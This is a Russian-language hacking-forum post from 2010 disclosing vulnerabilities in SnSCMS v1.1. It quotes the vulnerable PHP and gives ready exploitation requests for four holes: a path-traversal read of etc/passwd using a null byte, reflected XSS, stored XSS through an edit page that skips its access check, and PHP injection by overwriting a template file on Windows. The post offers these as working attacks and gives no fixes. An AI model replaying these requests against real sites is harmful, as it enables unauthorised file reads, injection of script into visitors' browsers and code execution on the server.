Старый 07.07.2010, 16:53   #1
Atra Pluvia
 
Регистрация: 07.07.2010
Сообщений: 21
Репутация: 53
По умолчанию SnSCMS

SnSCMS v1.1
Download: http://code.google.com/p/snscms/

Читалка(win-платформа && mq==off):


Уязвимый файл:
./function.php

Код:
PHP код:
//function.php
function getPath($pageName) {
    global 
$config;
    
    
$pageName str_replace("/"""$pageName);
    return 
$config["data_dir"] . "/" $pageName ".html";
}

function 
getPageContent($pageName) {
    global 
$config;

    
$path getPath($pageName);
    if (!
file_exists($path)) $path getPath($config["special_page_prefix"] . $config["view_error_page"]);
    
    
$pageContent getContent($path);
    
    ...

function 
getContent($path) {
    
$file = @fopen($path"rt");
    
    if (
$file) {
        
$content fread($filefilesize($path) + 1);
        
fclose($file);
        
        return 
$content;
    } else {
        return 
"";
    }
}
    
//view.php
...
$page $_GET["page"];
...
$pageContent getPageContent($page);
... 
Эксплуатация:
./index.php?action=view&page=..\..\..\..\..\..\..\et c\passwd%00


pXSS(-):

Уязвимый файл:
./view.php

Эксплуатация:
./index.php?action=view&page=</title><script>alert(1);</script>

aXSS(-):

Уязвимый файл:
./edit.php

Код:
PHP код:
if (isset($config)) {
    if (!
checkAdminPrivilege()) {
        
redirectUrl("index.php?action=view&page="$config["special_page_prefix"] . $config["access_error_page"]);    //Location header ...
    
}
    
    if (isset(
$_POST["save"])) {
        
$page urldecode($_POST["page"]);
        
$text $_POST["text"];
        
savePageContent($page$text);
        ... 
Как видно из кода, скрипт продолжает работу после того, как отправляет заголовок, который должен переместить браузер на страницу с ошибкой. Таким образом, можно просто отправить верно заполненные $_POST["text", "page", "save"], и скрипт выполнит работу.
Можно также создать свой файл, но пользы от этого нет, так как файл не сможет получить расширение, отличное от .html из-за urldecode(), который не даст использовать NULL-байт.

Эксплуатация:
./index.php?action=edit&page=_error_access

POST:
text=<script>alert(12);</script>&save=Save&page=_error_access

Теперь при каждой ошибке на сайте браузер посетителя будет получать наш джава-скрипт.

Так можно редактировать любой html файл, из папки pages.


PHP-injection(win-платформа):

Логическое продолжение предыдущей уязвимости:

можно редактировать файл шаблона, имеющий расширение .html, который тем не менее будет проинклужен, а, следовательно, выполнится php-код. Однако мешает то, что функция savePageContent() применяет к $page функцию getPath(), которая обрезает слеш (код функции был приведён выше). Посему возможно только использование обратного слеша, и как следствие уязвимость имеет место только на win-платформах.


Эксплуатация:
./index.php?action=edit
POST:
save=Save&page=..\themes\default\view_template&tex t=<?php phpinfo();?>

Последний раз редактировалось (dm); 19.08.2010 в 02:31.. Причина: изменение заголовка
Atra Pluvia вне форума   Ответить с цитированием
Ответ

Метки
afr, php-inj, windows, xss

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot